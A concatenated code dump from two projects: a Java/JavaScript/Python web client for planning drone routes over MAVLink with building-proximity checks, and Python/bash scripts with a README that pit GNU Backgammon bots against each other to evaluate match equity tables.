return "clear"
@cherrypy.expose
def hold(self):
self.drone.change_mode("HOLD")
return "HOLD"
@cherrypy.expose
def auto(self):
self.drone.change_mode("AUTO")
return "AUTO"
@cherrypy.expose
@cherrypy.config(**{'tools.cors.on': True})
@cherrypy.tools.json_in()
@cherrypy.tools.json_out()
def gotomission(self):
data = cherrypy.request.json
self.drone.gotomission(data)
return data[0]
@cherrypy.expose
@cherrypy.config(**{'tools.cors.on': True})
@cherrypy.tools.json_out()
def get_mission(self):
return self.drone.get_mission()
Drone([32.5738, -117.0068])
cherrypy.engine.block()
<file_sep>package org.wayfinder.overpass.overpassdata;
/**
* Created by kreker on 01.05.15.
*/
public class OsmNode {
Long id;
String type;
Double lat;
Double lon;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public Double getLat() {
return lat;
}
public void setLat(Double lat) {
this.lat = lat;
}
public Double getLon() {
return lon;
}
public void setLon(Double lon) {
this.lon = lon;
}
public OsmNode(){};
public OsmNode(String type,Long id,Double lat,Double lon){
this.type = type;
this.id = id;
this.lat =lat;
this.lon = lon;
}
}
<file_sep>package org.wayfinder.mavlink.mavdata.model;
import java.io.Serializable;
/**
* Created by bedash on 19.04.15.
*/
public class DroneLocation implements Serializable {
private Double lat;
private Double lon;
public Double getLon() {
return lon;
}
public void setLon(Double lon) {
this.lon = lon;
}
public Double getLat() {
return lat;
}
public void setLat(Double lat) {
this.lat = lat;
}
@Override
public String toString(){
StringBuilder result = new StringBuilder();
result.append("{" );
result.append("lat: " + getLat());
result.append(", " );
result.append("lon: " + getLon());
result.append("}");
return result.toString();
}
}
<file_sep>package org.wayfinder.controller;
import org.springframework.web.bind.annotation.*;
import org.wayfinder.mavlink.client.MavClient;
import org.wayfinder.mavlink.mavdata.model.DroneLocation;
import org.wayfinder.mavlink.mavdata.model.DroneStatus;
import org.wayfinder.model.leaflet.LeafletLatLng;
import java.util.List;
/**
* Created by bedash on 19.04.15.
*/
@RestController
@RequestMapping("/rest/drone")
public class MavClientController {
@RequestMapping(value = "/status",method = RequestMethod.GET)
public @ResponseBody
DroneStatus getStatus() {
MavClient mavClient = MavClient.getInstance();
return mavClient.getDroneStatus();
}
@RequestMapping(value = "/gotomission",method = RequestMethod.POST,consumes="application/json")
public void gotoMission(@RequestBody List<LeafletLatLng> leafletLatLngs) {
MavClient mavClient = MavClient.getInstance();
mavClient.gotoMission(leafletLatLngs);
}
@RequestMapping(value = "/getmission",method = RequestMethod.GET)
public @ResponseBody
List<DroneLocation> getMission() {
MavClient mavClient = MavClient.getInstance();
return mavClient.getMission();
}
@RequestMapping(value = "/hold",method = RequestMethod.GET)
public @ResponseBody
String droneHold() {
MavClient mavClient = MavClient.getInstance();
return mavClient.droneHold();
}
@RequestMapping(value = "/auto",method = RequestMethod.GET)
public @ResponseBody
String droneAuto() {
MavClient mavClient = MavClient.getInstance();
return mavClient.droneAuto();
}
}
<file_sep>package org.wayfinder.overpass.util;
import org.codehaus.jettison.json.JSONArray;
import org.codehaus.jettison.json.JSONObject;
import org.wayfinder.model.geojson.*;
import org.wayfinder.overpass.overpassdata.OsmNode;
import org.wayfinder.overpass.overpassdata.OsmWay;
import java.util.*;
/**
* Created by kreker on 01.05.15.
*/
public class OverpassHelpers {
public static FeatureCollection parseOsm(String json ){
HashMap<Long,OsmNode> osmNodeMap = new HashMap<>();
ArrayList<OsmWay> osmWays =new ArrayList<>();
try {
JSONObject jsonObj = new JSONObject(json);
JSONArray c = jsonObj.getJSONArray("elements");
for (int i = 0; i < c.length(); i++) {
JSONObject obj = c.getJSONObject(i);
String type = obj.getString("type");
if (type.equals("node")) {
OsmNode node = parseNode(obj);
osmNodeMap.put(node.getId(),node);
}
else if (type.equals("way")) {
OsmWay osmWay = parseWay(obj);
osmWays.add(osmWay);
}
}
}
catch (Exception e){
e.printStackTrace();
}
return getFeatures(osmNodeMap,osmWays);
}
private static FeatureCollection getFeatures(HashMap<Long,OsmNode> osmNodeMap, ArrayList<OsmWay> osmWays){
FeatureCollection featureCollection = new FeatureCollection();
for(OsmWay osmWay : osmWays){
Feature feature = new Feature();
Polygon polygon = new Polygon();
List<List<LngLatAlt>> cordinates = new ArrayList<>();
List<LngLatAlt> simplePolygon = new ArrayList<>();
for(Long node : osmWay.getNodes()){
OsmNode osmNode = osmNodeMap.get(node);
simplePolygon.add(new LngLatAlt(osmNode.getLon(),osmNode.getLat()));
}
cordinates.add(simplePolygon);
polygon.setCoordinates(cordinates);
feature.setId(osmWay.getId().toString());
feature.setProperties(osmWay.getProperties());
feature.setGeometry(polygon);
featureCollection.add(feature);
}
return featureCollection;
}
private static OsmNode parseNode(JSONObject obj){
try {
return
new OsmNode(obj.getString("type"), obj.getLong("id"),
obj.getDouble("lat"),obj.getDouble("lon"));
}
catch (Exception e){
e.printStackTrace();
return new OsmNode();
}
}
private static OsmWay parseWay(JSONObject obj){
try {
List<Long> nodes = new ArrayList<>();
HashMap<String, Object> properties = new HashMap<>();
JSONArray jsonArray = obj.getJSONArray("nodes");
for (int i = 0; i < jsonArray.length(); i++) {
nodes.add(jsonArray.getLong(i));
}
JSONObject prop = obj.getJSONObject("tags");
for(Iterator<String> iter = prop.keys();iter.hasNext();) {
String key = iter.next();
properties.put(key.replace(":",""),prop.getString(key));
}
return
new OsmWay(obj.getLong("id"),
obj.getString("type"),
nodes,
properties);
}
catch (Exception e){
e.printStackTrace();
return new OsmWay();
}
}
}
<file_sep>var southWest = L.latLng(55.4165, 39.52881),
northEast = L.latLng(60.6920, 28.2070),
bounds = L.latLngBounds(southWest, northEast);
map = L.map('map', {
center: new L.LatLng(59.902687, 30.314775),
zoom: 14,
maxBounds:bounds,
maxZoom:18,
minZoom:10,
contextmenu: true,
contextmenuWidth: 230,
contextmenuItems: [{
text: 'Проложить маршрут отсюда',
callback: setStart
}, {
text: 'Проложить маршрут сюда',
callback: setEnd
}, '-',
{
text: 'Показать координаты',
callback: showCoordinates
}, '-',{
text: 'Центрировать карту',
callback: centerMap
}, {
text: 'Центрировать по БПЛА',
callback: centerRobot
} , '-', {
text: 'Приблизить',
icon: 'resources/images/zoom-in.png',
callback: zoomIn
}, {
text: 'Отдалить',
icon: 'resources/images/zoom-out.png',
callback: zoomOut
}]
});
var mission = new L.LayerGroup().setZIndex(7).addTo(map);
var markers = new L.LayerGroup().addTo(map);
var pointers = new L.LayerGroup().addTo(map);
var point = new L.LayerGroup().addTo(map);
var missionPoint = new L.LayerGroup().addTo(map);
var paths = new L.LayerGroup().setZIndex(3).addTo(map);
var vector = new L.LayerGroup().setZIndex(1).addTo(map);
var buildingsLayer = new L.LayerGroup().addTo(map);
L.Control.measureControl().addTo(map);
var popup = L.popup();
var iconFrom = L.icon({
iconUrl: 'resources/images/marker-icon-green.png',
shadowSize: [50, 64],
shadowAnchor: [4, 62],
iconAnchor: [12, 40]
});
var iconTo = L.icon({
iconUrl: 'resources/images/marker-icon-red.png',
shadowSize: [50, 64],
shadowAnchor: [4, 62],
iconAnchor: [12, 40]
});
var iconCar = L.icon({
iconUrl: 'resources/images/car.png',
iconAnchor: [20, 20]
});
var redLine = new L.Polyline( [],{
color: 'red',
weight: 5,
opacity: 0.8,
smoothFactor: 1
})
.addTo(paths);
var vectorPolyLine = new L.Polyline([],{
color: 'green',
weight: 12,
opacity: 0.9,
smoothFactor: 1
})
.addTo(vector);
var firstPolyLine = new L.Polyline([], {
color: 'blue',
weight: 5,
opacity: 0.4,
smoothFactor: 1
})
.addTo(mission);
var carPointer = new L.marker(new L.LatLng(0,0),{icon:iconCar})
.addTo(markers);
var tileLayer = L.tileLayer('rest/tiles/{z}/{x}/{y}.png', {
maxZoom: 18
})
.addTo(map);
var start = null;
var stop = null;
var pointList = [];
var loadedMission = [];
var buildings = {};
var droneStatus = null;
getStatus();
getMission();
getBuildungs();
setInterval(function() {getMission()}, 5000);
setInterval(function() {getBuildungs()}, 5000);
setInterval(function() {getStatus()}, 1000);
function setStart (e) {
start = e.latlng;
$("#input-start").val(start.lat.toFixed(5) + ", " + start.lng.toFixed(5));
redrawPointers();
getPath();
}
function setEnd (e) {
stop = e.latlng;
$("#input-stop").val(start.lat.toFixed(5) + ", " + start.lng.toFixed(5));
redrawPointers();
getPath();
}
function redrawPointers(){
pointers.clearLayers();
if(start) {
L.marker([start.lat, start.lng],{icon:iconFrom}).addTo(pointers);
}
if(stop) {
L.marker([stop.lat, stop.lng],{icon:iconTo}).addTo(pointers);
}
}
function getPath(){
if (start && stop) {
$.ajax({
type: "GET",
data: { point:[start.lat+","+start.lng,stop.lat+","+stop.lng],
type:'json',
points_encoded:'false'},
url: '/rest/graphhopper',
dataType: "json",
traditional: true,
success: function (data) {
var points = data;
drawPath(points)
}
});
}
}
function drawPath(points){
var content = "";
pointList = [];
points.forEach(function(item,i) {
pointList.push(new L.LatLng(item[1], item[0]));
content += '<tr id ="path_'+ i +'" class="path-table-body-tr"><td>' +
i + '</td><td>'+
item[1].toFixed(5) + '</td><td>' +
item[0].toFixed(5) + '</td></tr>';
});
redLine.setLatLngs(pointList)
$('#path-table')
.show();
$('#path-table-body')
.empty()
.append(content);
}
function showCoordinates (e) {
alert(e.latlng);
}
function centerMap (e) {
map.panTo(e.latlng);
}
function centerRobot () {
map.panTo (new L.LatLng(droneStatus.droneLocation.lat, droneStatus.droneLocation.lon));
}
function zoomIn () {
map.zoomIn();
}
function zoomOut () {
map.zoomOut();
}
function getMission(){
$.ajax({
url: 'rest/drone/getmission',
dataType: "JSON",
contentType: 'application/json',
success: function (data) {
loadedMission = data;
redrawMission(loadedMission);
}
});
}
$("#set-hold").click(function(){
$.ajax({
url: 'rest/drone/hold',
dataType: "JSON",
contentType: 'application/json',
success: function (data) {
}
});
});
$("#set-auto").click(function(){
$.ajax({
url: 'rest/drone/auto',
dataType: "JSON",
contentType: 'application/json',
success: function (data) {
}
});
});
$("#goto-mission").click(function() {
if(pointList.length>0){
$.ajax({
type: "POST",
dataType: "JSON",
contentType: 'application/json',
url: 'rest/drone/gotomission',
data:JSON.stringify(pointList),
success: function (data) {
}
});
}
});
function getBuildungs(){
$.ajax({
url: 'rest/overpass/status',
dataType: "JSON",
contentType: 'application/json',
success: function (data) {
if (!$.isEmptyObject(data)) {
buildings = data;
}
}
});
}
function getStatus(){
$.ajax({
url: 'rest/drone/status',
dataType : "json",
success: function (data) {
if (!$.isEmptyObject(data)) {
droneStatus = data;
redrawStatus(droneStatus);
}
}
});
}
function redrawStatus(droneStatus){
if(droneStatus.droneLocation){
$("#loc-cell").text(droneStatus.droneLocation.lat.toFixed(5) +", " + droneStatus.droneLocation.lon.toFixed(5));
$("#next-cell").text(droneStatus.nextCommand.lat.toFixed(5) +", " + droneStatus.nextCommand.lon.toFixed(5));
$("#groundSpeedCell").text(droneStatus.groundSpeed.toFixed(5));
$("#altitudeCell").text(droneStatus.altitude.toFixed(5));
$("#bat-cell").text("89%");
$("#modeCell").text(droneStatus.mode);
carPointer.setLatLng(new L.LatLng(droneStatus.droneLocation.lat, droneStatus.droneLocation.lon));
var vectorList = [];
vectorList.push(new L.LatLng(droneStatus.droneLocation.lat, droneStatus.droneLocation.lon));
vectorList.push(new L.LatLng(droneStatus.nextCommand.lat, droneStatus.nextCommand.lon));
vectorPolyLine.setLatLngs(vectorList);
var content = "";
if(typeof buildings.features != 'undefined') {
buildings.features.forEach(function (item, i) {
if (typeof item.properties.addrstreet == 'undefined') item.properties.addrstreet = "Без адреса";
if (typeof item.properties.addrhousenumber == 'undefined') item.properties.addrhousenumber = "-";
if (typeof item.properties.buildinglevels == 'undefined') item.properties.buildinglevels = "-";
var dist = distToFeature(item, droneStatus);
content += '<tr id ="building_' + i + '" class="wall-table-body-tr"><td>' +
item.properties.addrstreet + '</td><td>' +
dist.toFixed(1) + '</td><td>' +
item.properties.addrhousenumber + '</td><td>' +
item.properties.buildinglevels + '</td></tr>';
});
$('#wall-table')
.show();
$('#wall-table-body')
.empty()
.append(content);
redrawBuildings(buildings)
}
}
}
function redrawMission(missionPoints){
var content ="";
var pointList = [];
missionPoints.forEach(function(item,i) {
pointList.push(new L.LatLng(item.lat, item.lon));
content += '<tr id ="mission_'+ i +'" class="path-loaded-table-body-tr"><td>' +
i + '</td><td>'+
item.lat.toFixed(5) + '</td><td>' +
item.lon.toFixed(5) + '</td></tr>';
});
firstPolyLine.setLatLngs(pointList);
$('#path-loaded-table')
.show();
$('#path-loaded-table-body')
.empty()
.append(content);
}
function redrawBuildings(buildings) {
buildingsLayer.clearLayers();
L.geoJson(buildings, {
style: function(feature){
var dist = distToFeature(feature,droneStatus);
if (dist>=30)
return { weight: 2,color: "#999", opacity: 1,fillColor: "GreenYellow", fillOpacity: 0.8};
else if (dist>20&&dist<30)
return { weight: 2,color: "#999", opacity: 1,fillColor: "Yellow", fillOpacity: 0.8};
else if (dist<=20)
return { weight: 2,color: "#999", opacity: 1,fillColor: "Red", fillOpacity: 0.8};
}
}).addTo(buildingsLayer);
}
$("#route-extent-btn").click(function() {
$('#sidebar-way').show();
$('#sidebar-way-loaded').hide();
map.invalidateSize();
});
$("#sidebar-hide-btn").click(function() {
$('#sidebar-manage').hide();
map.invalidateSize();
});
$("#controll-extent-btn").click(function() {
$('#sidebar-manage').show();
$('#sidebar-way-loaded').hide();
map.invalidateSize();
});
$("#sidebar-way-hide-btn").click(function() {
$('#sidebar-way').hide();
map.invalidateSize();
});
$("#full-extent-btn").click(function() {
$('#sidebar-way').hide();
$('#sidebar-manage').hide();
map.invalidateSize();
});
$("#route-loaded-btn").click(function() {
$('#sidebar-way').hide();
$('#sidebar-manage').hide();
$('#sidebar-way-loaded').show();
map.invalidateSize();
});
$("#loc-td").click(function() {
map.panTo (new L.LatLng(droneStatus.droneLocation.lat, droneStatus.droneLocation.lon));
});
$("#sidebar-way-loaded-hide-btn").click(function() {
$('#sidebar-way-loaded').hide();
map.invalidateSize();
});
$("body").on('mouseenter', ".path-table-body-tr",
function() {
var pointId = this.id.replace("path_","");
L.marker([pointList[pointId].lat, pointList[pointId].lng])
.addTo(point);
map.panTo ([pointList[pointId].lat, pointList[pointId].lng]);
})
.on('mouseleave', ".path-table-body-tr",
function() {
point.clearLayers();
})
.on('mouseenter', ".path-loaded-table-body-tr",
function() {
var missionPointId = this.id.replace("mission_","");
L.marker([loadedMission[missionPointId].lat, loadedMission[missionPointId].lon])
.addTo(missionPoint);
map.panTo([loadedMission[missionPointId].lat, loadedMission[missionPointId].lon] );
})
.on('mouseleave', ".path-loaded-table-body-tr",
function() {
missionPoint.clearLayers();
})
.on('mouseenter', ".wall-table-body-tr",
function() {
var buildingId = this.id.replace("building_","");
var building = buildings.features[buildingId];
console.log(building);
var popupContent = "";
if (building .properties && building.properties.addrhousenumber && building.properties.addrstreet) {
popupContent += "<p>" + building.properties.addrstreet +" " + building.properties.addrhousenumber +"</p>";
}
var position = building.geometry.coordinates[0][0];
console.log(position );
popup.setLatLng([position[1], position[0]])
.setContent(popupContent)
.openOn(map);
})
.on('mouseleave', ".wall-table-body-tr",
function() {
map.closePopup();
});
Number.prototype.toRad = function() {
return this * Math.PI / 180;
};
function dist2(v, w){
var R = 6371;
var x1 = v.x-w.x;
var dLat = x1.toRad();
var x2 = v.y-w.y;
var dLon = x2.toRad();
var a = Math.sin(dLat/2) * Math.sin(dLat/2) +
Math.cos(w.x.toRad()) * Math.cos(v.x.toRad()) *
Math.sin(dLon/2) * Math.sin(dLon/2);
var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));
return R * c * 1000;
}
function distToSegment(p, v, w) {
var l2 = dist2(v, w);
if (l2 == 0) return dist2(p, v);
var t = ((p.x - v.x) * (w.x - v.x) + (p.y - v.y) * (w.y - v.y)) / l2;
if (t < 0) return dist2(p, v);
if (t > 1) return dist2(p, w);
return dist2(p, { x: v.x + t * (w.x - v.x), y: v.y + t * (w.y - v.y) });
}
function distToFeature(feature,droneStatus){
var points = feature.geometry.coordinates[0];
var minDist = -1;
for(var i = 0; i < points.length-1; i++ ){
var pointV = points[i];
var pointW = points[i+1];
var dis = distToSegment(latlonToPoint(droneStatus.droneLocation),
arrToPoint(pointV),
arrToPoint(pointW));
if(minDist==-1)
minDist = dis;
if(minDist > dis )
minDist = dis;
}
return minDist;
};
function arrToPoint(arr){
var point = {};
point['x'] = arr[1];
point['y'] = arr[0];
return point;
}
function latlonToPoint(latlon){
var point = {};
point['x'] = latlon.lat;
point['y'] = latlon.lon;
return point;
}<file_sep>package org.wayfinder.controller;
import org.springframework.web.bind.annotation.*;
import org.wayfinder.graphhopper.client.GraphHopperClient;
import java.util.List;
/**
* Created by kreker on 05.05.15.
*/
@RestController
@RequestMapping("/rest/graphhopper")
public class GraphHopperController {
@RequestMapping(method = RequestMethod.GET)
public @ResponseBody
List<List<Double>> getPath(@RequestParam String [] point,
@RequestParam String type,
@RequestParam String points_encoded) {
GraphHopperClient graphHopperClient = GraphHopperClient.getInstance();
return graphHopperClient.getPath(point,type,points_encoded);
}
}
<file_sep>package org.wayfinder.overpass.overpassdata;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* Created by kreker on 01.05.15.
*/
public class OsmWay {
Long id;
String type;
List<Long> nodes;
HashMap<String, Object> properties;
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public List<Long> getNodes() {
return nodes;
}
public void setNodes(List<Long> nodes) {
this.nodes = nodes;
}
public Map<String, Object> getProperties() {
return properties;
}
public void setProperties(HashMap<String, Object> properties) {
this.properties = properties;
}
public OsmWay(Long id,
String type,
List<Long> nodes,
HashMap<String, Object> properties){
this.id = id;
this.type = type;
this.nodes = nodes;
this.properties = properties;
}
public OsmWay(){}
}
<file_sep>wayfinder
=========
Wayfinder - java web client for mavlink.
<file_sep>package org.wayfinder.overpass.client;
import com.sun.jersey.api.client.Client;
import com.sun.jersey.api.client.ClientResponse;
import com.sun.jersey.api.client.WebResource;
import com.sun.jersey.api.client.config.ClientConfig;
import com.sun.jersey.api.client.config.DefaultClientConfig;
import com.sun.jersey.api.representation.Form;
import com.sun.jersey.client.urlconnection.HttpURLConnectionFactory;
import com.sun.jersey.client.urlconnection.URLConnectionClientHandler;
import org.codehaus.jackson.jaxrs.JacksonJsonProvider;
import org.wayfinder.mavlink.client.MavClient;
import org.wayfinder.mavlink.mavdata.model.DroneLocation;
import org.wayfinder.model.geojson.FeatureCollection;
import org.wayfinder.overpass.util.OverpassHelpers;
import javax.ws.rs.core.MediaType;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.Proxy;
import java.net.URL;
import java.util.Timer;
import java.util.TimerTask;
/**
* Created by kreker on 01.05.15.
*/
public class OverpassClient {
private Client client;
private static String hostName = "overpass";
private static String port = "80";
private FeatureCollection buildings;
private static Integer radius = 50;
private static class OverpassClientHolder{
private final static OverpassClient instance = new OverpassClient();
}
public static OverpassClient getInstance(){
return OverpassClientHolder.instance;
}
private OverpassClient() {
ClientConfig config = new DefaultClientConfig();
config.getClasses().add(JacksonJsonProvider.class);
this.client = new Client(new URLConnectionClientHandler(
new HttpURLConnectionFactory() {
Proxy p = null;
@Override
public HttpURLConnection getHttpURLConnection(URL url)
throws IOException {
if (p == null) {
p = Proxy.NO_PROXY;
}
return (HttpURLConnection) url.openConnection(p);
}
}), config);
Timer timer = new Timer("OverpassClientTimer");
timer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
try {
MavClient mavClient = MavClient.getInstance();
DroneLocation droneLocation = mavClient.getDroneStatus().getDroneLocation();
buildings = getBuildingsOverpass(droneLocation,radius);
}
catch (Exception e){
e.printStackTrace();
}
}
}, 0, 5000);
}
private FeatureCollection getBuildingsOverpass(DroneLocation droneLocation, Integer radius) {
if(droneLocation!=null) {
String data =
"<osm-script output=\"json\">\n" +
" <query into=\"_\" type=\"way\">\n" +
" <around lat=\"" + droneLocation.getLat() + "\" lon=\"" + droneLocation.getLon() + "\" radius=\"" + radius + "\"/>\n" +
" <has-kv k=\"building\" modv=\"\" v=\"\"/>\n" +
" </query>\n" +
" <union into=\"_\">\n" +
" <item set=\"_\"/>\n" +
" <recurse from=\"_\" type=\"down\"/>\n" +
" </union>\n" +
" <print from=\"_\" limit=\"\" mode=\"body\" order=\"id\"/>\n" +
"</osm-script> ";
Form form = new Form();
form.add("data", data);
WebResource webResource = client.resource("http://" + hostName + ":" + port + "/api/interpreter");
ClientResponse response = webResource
.type(MediaType.APPLICATION_FORM_URLENCODED_TYPE)
.post(ClientResponse.class, form);
if (response.getStatus() != 200)
throw new RuntimeException("Failed : HTTP error code : " + response.getStatus());
String json = response.getEntity(String.class);
return OverpassHelpers.parseOsm(json);
}
return new FeatureCollection();
}
public FeatureCollection getBuildings(){
return this.buildings;
}
}
| baeb92d0914e56e3cf811b5633bd1f9d7b53c1e0 | [
"JavaScript",
"Markdown",
"Maven POM",
"Java",
"Python"
] | 12 | Java | kzkreker/wayfinder | bfa2def97e67350b1b84d160f4943b7c445960b1 | d1465426af2ff05546bfad8a453cfbfd99e4d454 |
refs/heads/master | <file_sep>import yaml
import sys
import os
import re
import glob
import scipy.stats
import collections
import itertools
class bcolors:
BLUE = '\033[94m'
GREEN = '\033[92m'
RED = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'
def load_config():
global work_dir, client_name, config
if not len(sys.argv) == 3:
raise Exception('needs two arguments (path and client name)', sys.argv)
work_dir = sys.argv[1]
if not work_dir.endswith('/'):
raise Exception(work_dir, 'does not look like being a directory (it should end with "/")')
if not os.path.isdir(work_dir):
raise Exception('no such directory:', work_dir)
if not os.path.isfile(work_dir + 'config.yml'):
raise Exception('no config.yml found in', work_dir)
config = yaml.safe_load(open(work_dir + 'config.yml'))
client_name = sys.argv[2]
if client_name not in ['table', 'client_0', 'client_1', 'scorekeeper', 'preparator', 'stat']:
raise Exception('client name must be one of table/client_0/client_1/scorekeeper/preparator/stat, invalid value:', client_name)
def check_config():
if not config['config_version'] == 1:
raise Exception('config.yml version mismatch')
def prepare_legs():
os.mkdir(work_dir + 'leg1/')
config_file = open(work_dir + 'leg1/' + 'config.yml', 'w')
yaml.dump(config, config_file, default_flow_style = False)
if config['rematches']:
os.mkdir(work_dir + 'leg2/')
rematch_config = config.copy()
rematch_config['client_0'], rematch_config['client_1'] = rematch_config['client_1'], rematch_config['client_0']
rematch_config_file = open(work_dir + 'leg2/' + 'config.yml', 'w')
yaml.dump(rematch_config, rematch_config_file, default_flow_style = False)
def start_player(player):
print('set eval sameasanalysis off')
print('set met', config['met_dir'] + config[player]['met_file'])
print('set evaluation chequerplay eval plies', config[player]['checker-ply'])
print('set evaluation cubedecision eval plies', config[player]['cube-ply'])
print('external 127.0.0.1:' + str(config[player]['port']))
def start_table():
for player_id in ['0', '1']:
print('set player ' + player_id + ' external 127.0.0.1:' + str(config['client_' + player_id]['port']))
print('set rng mersenne')
for match_index in range(config['match_indices']['start'], config['match_indices']['end'] + 1):
seed = match_index
seed_shuffled = False
while seed > 4294967295 or not seed_shuffled:
seed = (pow(2576980389, seed, 4294967311) * 858993463 + config['superseed']) % 4294967310
seed_shuffled = True
print('set seed', seed)
print('new match', config['match_length'])
for player_id in ['0', '1']:
print('set player ' + player_id + ' name', config['client_' + player_id]['name'])
print('save match', work_dir + 'match' + str(match_index) + '.sgf')
def get_match_winner(game_results, match_length):
match_score_away = {'B': match_length, 'W': match_length}
for (game_winner, scores_won) in game_results:
match_score_away[game_winner] -= int(scores_won)
for tie_away in [2, 1]:
if (match_score_away['B'] == tie_away and match_score_away['W'] == tie_away):
return 'T'
if match_score_away[game_winner] <= 0:
return game_winner
def collect_and_aggregate_results():
filenames = glob.glob(work_dir + 'match*.sgf')
match_length = config['match_length']
results = {'B': 0, 'W': 0, 'T': 0}
for filename in filenames:
match_file = open(filename, 'r')
lines = ''.join(match_file.readlines())
pattern = re.compile('RE\[(?P<game_winner>[BW])\+(?P<points_won>\d+)R?\]')
game_results = pattern.findall(lines)
match_winner = get_match_winner(game_results, match_length)
results[match_winner] += 1
print(bcolors.BLUE, end='')
print(' ', 'leg score:')
print(' ', config['client_0']['name'], '(White / player 0 / on top):', results['W'])
print(' ', config['client_1']['name'], '(Black / player 1 / bottom):', results['B'])
print(' ', 'Ties (scores 1a1a & 2a2a):', results['T'])
print(' ', 'Total:', results['W'] + results['T'] / 2, '-', results['B'] + results['T'] / 2)
print(bcolors.ENDC, end='')
def t_test():
matchpair_scores = []
matchpair_score_counts = collections.defaultdict(lambda: 0)
matchpair_outcome_score = {}
for match_outcomes in itertools.product('BTW', repeat = 2):
matchpair_outcome_score[''.join(match_outcomes)] = 'BTW'.index(match_outcomes[0]) - 'BTW'.index(match_outcomes[1])
for match_index in range(config['match_indices']['start'], config['match_indices']['end'] + 1):
filenames = [work_dir + 'leg' + leg_id + '/' + 'match' + str(match_index) + '.sgf' for leg_id in ['1', '2']]
match_length = config['match_length']
match_results = []
for filename in filenames:
match_file = open(filename, 'r')
lines = ''.join(match_file.readlines())
pattern = re.compile('RE\[(?P<game_winner>[BW])\+(?P<points_won>\d+)R?\]')
game_results = pattern.findall(lines)
match_winner = get_match_winner(game_results, match_length)
match_results.append(match_winner)
matchpair_scores.append(matchpair_outcome_score[''.join(match_results)])
matchpair_score_counts[''.join(match_results)] += 1
t_statistics, p_value = scipy.stats.ttest_1samp(matchpair_scores, 0)
print(bcolors.BLUE, end='')
print(' ', 'H0: aggregated scores\' average is 0')
print_outcome_frequency_table(matchpair_score_counts)
print(' ', 't-statistics:', t_statistics)
print(bcolors.BOLD, end='')
print(' ', 'p-value:', p_value)
if p_value < 0.05:
print(bcolors.RED, end='')
print(' ', 'H0 must be rejected ~', config['client_' + ('0' if t_statistics > 0 else '1')]['name'], 'is significantly stronger than', config['client_' + ('1' if t_statistics > 0 else '0')]['name'])
else:
print(bcolors.GREEN, end='')
print(' ', 'H0 cannot be rejected ~ none of the METs is significantly stronger than the other')
print(bcolors.ENDC, end='')
def print_outcome_frequency_table(matchpair_score_counts):
column_width = len(str(max(matchpair_score_counts.values()))) + 1
print(' ', 'Matchpair outcomes frequency table:')
print(' ', ' ', end='')
for match2_outcome in 'BTW':
print_length(match2_outcome, column_width)
print()
for match1_outcome in 'BTW':
print(' ', match1_outcome, end='')
for match2_outcome in 'BTW':
print_length(matchpair_score_counts[match1_outcome + match2_outcome], column_width)
print()
def print_length(number, length):
converted_number = str(number)
print(' ' * (length - len(converted_number)) + converted_number, end='')
load_config()
check_config()
if (client_name == 'scorekeeper'):
collect_and_aggregate_results()
elif (client_name == 'table'):
start_table()
elif (client_name == 'preparator'):
prepare_legs()
elif (client_name == 'stat'):
t_test()
else:
start_player(client_name)
<file_sep>conf_dir=$1
date
echo " [starting directory preparation $conf_dir]"
python3 holmgang_core_runner.py $conf_dir preparator
echo
date
echo " [setting up player clients]"
x-terminal-emulator -e 'sh -c "python3 holmgang_core_runner.py '"$conf_dir"' client_0 | gnubg -t"'
x-terminal-emulator -e 'sh -c "python3 holmgang_core_runner.py '"$conf_dir"' client_1 | gnubg -t"'
sleep 1
echo
leg_dirs=(${conf_dir}leg*/)
for leg_dir in "${leg_dirs[@]}"
do
date
echo " [starting simulation $leg_dir]"
python3 holmgang_core_runner.py $leg_dir table | gnubg -t > /dev/null
echo
date
echo " [starting match aggregation $leg_dir]"
python3 holmgang_core_runner.py $leg_dir scorekeeper
echo
done
if [ ${#leg_dirs[@]} = 2 ]
then
date
echo " [starting t-test calculation $conf_dir]"
python3 holmgang_core_runner.py $conf_dir stat
echo
fi
date
echo " [completed $conf_dir]"
echo
<file_sep>__Holmgång__ is a collection of scripts for evaluation of backgammon Match Equity Tables.
It allows you to run a large amount of matches between two __GNU Backgammon__ bots, each playing according to their own MET.
With the help of match outcomes and metrics based on those it is possible to reach a verdict about which of the two METs is superior.
## How does it work?
__Holmgång__ runs 3 instances of __GNU Backgammon__: one server which hosts the match (this is basically the table itself), and takes care of generating dice roll sequences, and two clients which connect to the table as external players (using assigned ports on localhost).
__Holmgång__ communicates with these instances through standard input/output - it basically types commands to set up, start and log matches.
## How to run?
First you have to create a directory where the logs of the matches will be saved.
A `config.yml` file containing the simulations parameters has to be created in your directory. For a valid example see the `example_setups` directory.
Then you can start running the simulations by issuing the following command from the root directory of __Holmgång__:
`bash holmgang_linux_launcher.sh path/to/your/directory/`
#### Parameters in the `config.yml` file
- `config_version` (integer) - current value: 1
- `match_indices` - defines the range of matches to be run: the match index is saved into the match log's filename
- `start` (integer) - the match index of the first match to run
- `end` (integer) - the match index of the last match to run
- `superseed` (32-bit integer) - used to generate pseudo-random seeds for individual matches: two matches with identical superseed and match index will use the same dice sequence
- `rematches` (true/false)
- `match_length` (positive integer)
- `met_dir` (string) - path to the directory where XMLs of METs are stored
- `client_0` & `client_1` - both have the following subfields that describe a player
- `name` (string) - the name of the player which will be saved to match logs
- `met_file` (string) - XML filename (with extension)
- `cube-ply` (integer) - set how many plies to look ahead for cube decisions
- `checker-ply` (integer) - sets how many plies to look ahead for checker play
- `port` (16-bit integer) - the port which the external player will use to connect to the table
## How to interpret the output?
In the printout you will see a count of matches won for both players.
There is a third count for ties. A match is considered drawn if the scores reach either '1 away - 1 away' or '2 away - 2 away' anytime during the match, and does not contribute to the count of wins for any of the players, regardless of the match's actual outcome.
In case you run rematches, a one-sided t-test will be run to check whether one of the METs is playing significantly stronger than the other.
The results of matchpairs (which consist of a match and its rematch with the same dice sequence, but roles reversed) are displayed as a cross table. Rows correspond to results of first leg match, columns to results of second leg match. Abbreviations B, W and T stand for Black, White and Tie, respectively.
